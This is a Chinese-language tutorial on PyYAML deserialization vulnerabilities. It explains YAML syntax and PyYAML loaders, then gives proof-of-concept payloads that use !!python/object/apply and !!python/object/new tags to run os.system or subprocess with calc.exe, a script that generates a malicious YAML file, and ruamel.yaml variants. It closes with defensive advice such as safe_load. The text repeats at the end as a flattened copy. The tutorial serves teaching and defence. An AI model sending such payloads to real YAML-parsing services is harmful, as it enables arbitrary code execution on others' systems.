浅谈PyYAML反序列化漏洞
字数 1531 2025-08-20 18:18:23

PyYAML反序列化漏洞深度解析

1. YAML基础

1.1 YAML简介

YAML是一种直观的数据序列化格式,具有以下特点:

  • 容易被电脑识别
  • 人类可读性强
  • 与脚本语言交互简单
  • 语法比XML更简洁

1.2 YAML基本语法规则

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进只允许使用空格(不允许Tab)
  • 缩进空格数目不重要,只要同层级元素左对齐
  • #表示注释

1.3 YAML数据结构表示

字典表示

name: Al1ex
age: 0
job: Tester

Python输出:

{'name': 'Al1ex', 'age': 0, 'job': 'Tester'}

列表表示

- Al1ex
- 0
- Tester

Python输出:

['Al1ex', 0, 'Tester']

复合结构

- name: Al1ex
  age: 0
  job: Tester
- name: James
  age: 30

Python输出:

[{'name': 'Al1ex', 'age': 0, 'job': 'Tester'}, {'name': 'James', 'age': 30}]

1.4 YAML基本数据类型

  • 字符串
  • 整型
  • 浮点型
  • 布尔型
  • null(可用~表示)
  • 时间(ISO8601格式)
  • 日期(ISO8601格式)

示例:

str: "Hello World!"
int: 110
float: 3.141
boolean: true
None: null
time: 2020-06-20t11:43:30.20+08:00
date: 2020-06-20

1.5 引用与强制类型转换

引用

name: &name Al1ex
tester: *name

相当于:

name: Al1ex
tester: Al1ex

强制类型转换

使用!!实现:

str: !!str 3.14
int: !!int "123"

输出:

{'int': 123, 'str': '3.14'}

1.6 分段规则

使用---分隔多个文档:

---
name: James
age: 20
---
name: Lily
age: 19

2. PyYAML高级用法

2.1 yaml.YAMLObject

使用元类注册构造器和表示器:

import yaml

class Person(yaml.YAMLObject):
    yaml_tag = '!person'
    
    def __init__(self, name, age):
        self.name = name
        self.age = age
    
    def __repr__(self):
        return '%s(name=%s, age=%d)' % (self.__class__.__name__, self.name, self.age)

james = Person('James', 20)
print(yaml.dump(james))  # Python对象转yaml

lily = yaml.load('!person {name: Lily, age: 19}')
print(lily)  # yaml转Python对象

2.2 add_constructor/add_representer

定义普通类并添加构造器和表示器:

import yaml

class Person(object):
    def __init__(self, name, age):
        self.name = name
        self.age = age
    
    def __repr__(self):
        return 'Person(%s, %s)' % (self.name, self.age)

# 添加表示器
def person_repr(dumper, data):
    return dumper.represent_mapping(u'!person', {"name": data.name, "age": data.age})
yaml.add_representer(Person, person_repr)

# 添加构造器
def person_cons(loader, node):
    value = loader.construct_mapping(node)
    return Person(value['name'], value['age'])
yaml.add_constructor(u'!person', person_cons)

2.3 PyYAML常用方法

load() - 返回对象

import yaml
f = open('config.yml', 'r')
y = yaml.load(f)
print(y)

load_all() - 生成迭代器

用于包含多块yaml文档的情况

dump() - Python对象转yaml

aproject = {'name': 'Silenthand Olleander', 'race': 'Human', 'traits': ['ONE_HAND', 'ONE_EYE']}
print(yaml.dump(aproject))

dump_all() - 多段输出到文件

obj1 = {"name": "James", "age": 20}
obj2 = ["Lily", 19]
with open('yaml_dump_all.yml', 'w') as f:
    yaml.dump_all([obj1, obj2], f)

3. PyYAML反序列化漏洞

3.1 漏洞原理

PyYAML在反序列化时,可以通过特殊标签动态创建Python对象并执行任意代码。

关键标签:

  • !!python/object: => Constructor.construct_python_object
  • !!python/object/apply: => Constructor.construct_python_object_apply
  • !!python/object/new: => Constructor.construct_python_object_new

这些标签最终都会调用make_python_instance()函数,该函数会根据参数动态创建新的Python类对象或通过引用module的类创建对象。

3.2 漏洞利用(PyYAML <5.1)

通用POC

!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

示例代码

生成恶意yaml文件:

import yaml

class poc:
    def __init__(self):
        import os
        os.system('calc.exe')

payload = yaml.dump(poc())
with open('simple.yml', 'w') as f:
    f.write(payload)

反序列化执行:

import yaml

with open('simple.yml', 'r') as f:
    yaml.load(f)

3.3 PyYAML >=5.1的变化

加载器类型

  • BaseLoader: 仅加载最基本的YAML
  • SafeLoader: 安全加载YAML子集(推荐用于不受信任的输入,对应safe_load
  • FullLoader: 加载完整YAML语言,避免任意代码执行(默认加载器,对应full_load
  • UnsafeLoader(原Loader): 原始Loader代码,易被利用(对应unsafe_load

绕过方法

使用subprocess.Popen绕过限制:

from yaml import *

data = b"""
!!python/object/apply:subprocess.Popen
- calc
"""
deserialized_data = load(data, Loader=Loader)  # 或使用unsafe_load(data)
print(deserialized_data)

3.4 ruamel.yaml的情况

ruamel.yaml默认支持YAML 1.2版本,同样存在类似漏洞:

from ruamel.yaml import *

data = """
!!python/object/apply:subprocess.Popen
- calc
"""
deserialized_data = load(data)  # 命令会被执行

4. 防御措施

4.1 安全反序列化方法

使用以下安全函数处理YAML数据:

  • safe_load()
  • safe_load_all()
  • full_load()
  • full_load_all()

4.2 安全序列化方法

使用以下函数序列化数据:

  • safe_dump()
  • safe_dump_all()

4.3 其他建议

  • 升级到最新版PyYAML
  • 避免直接使用load()load_all()方法
  • 对用户输入的YAML数据进行严格过滤
  • 使用更安全的替代方案,如JSON
PyYAML反序列化漏洞深度解析 1. YAML基础 1.1 YAML简介 YAML是一种直观的数据序列化格式,具有以下特点: 容易被电脑识别 人类可读性强 与脚本语言交互简单 语法比XML更简洁 1.2 YAML基本语法规则 大小写敏感 使用缩进表示层级关系 缩进只允许使用空格(不允许Tab) 缩进空格数目不重要,只要同层级元素左对齐 # 表示注释 1.3 YAML数据结构表示 字典表示 Python输出: 列表表示 Python输出: 复合结构 Python输出: 1.4 YAML基本数据类型 字符串 整型 浮点型 布尔型 null(可用 ~ 表示) 时间(ISO8601格式) 日期(ISO8601格式) 示例: 1.5 引用与强制类型转换 引用 相当于: 强制类型转换 使用 !! 实现: 输出: 1.6 分段规则 使用 --- 分隔多个文档: 2. PyYAML高级用法 2.1 yaml.YAMLObject 使用元类注册构造器和表示器: 2.2 add_ constructor/add_ representer 定义普通类并添加构造器和表示器: 2.3 PyYAML常用方法 load() - 返回对象 load_ all() - 生成迭代器 用于包含多块yaml文档的情况 dump() - Python对象转yaml dump_ all() - 多段输出到文件 3. PyYAML反序列化漏洞 3.1 漏洞原理 PyYAML在反序列化时,可以通过特殊标签动态创建Python对象并执行任意代码。 关键标签: !!python/object: => Constructor.construct_python_object !!python/object/apply: => Constructor.construct_python_object_apply !!python/object/new: => Constructor.construct_python_object_new 这些标签最终都会调用 make_python_instance() 函数,该函数会根据参数动态创建新的Python类对象或通过引用module的类创建对象。 3.2 漏洞利用(PyYAML <5.1) 通用POC 示例代码 生成恶意yaml文件: 反序列化执行: 3.3 PyYAML >=5.1的变化 加载器类型 BaseLoader : 仅加载最基本的YAML SafeLoader : 安全加载YAML子集(推荐用于不受信任的输入,对应 safe_load ) FullLoader : 加载完整YAML语言,避免任意代码执行(默认加载器,对应 full_load ) UnsafeLoader (原 Loader ): 原始Loader代码,易被利用(对应 unsafe_load ) 绕过方法 使用 subprocess.Popen 绕过限制: 3.4 ruamel.yaml的情况 ruamel.yaml默认支持YAML 1.2版本,同样存在类似漏洞: 4. 防御措施 4.1 安全反序列化方法 使用以下安全函数处理YAML数据: safe_load() safe_load_all() full_load() full_load_all() 4.2 安全序列化方法 使用以下函数序列化数据: safe_dump() safe_dump_all() 4.3 其他建议 升级到最新版PyYAML 避免直接使用 load() 和 load_all() 方法 对用户输入的YAML数据进行严格过滤 使用更安全的替代方案,如JSON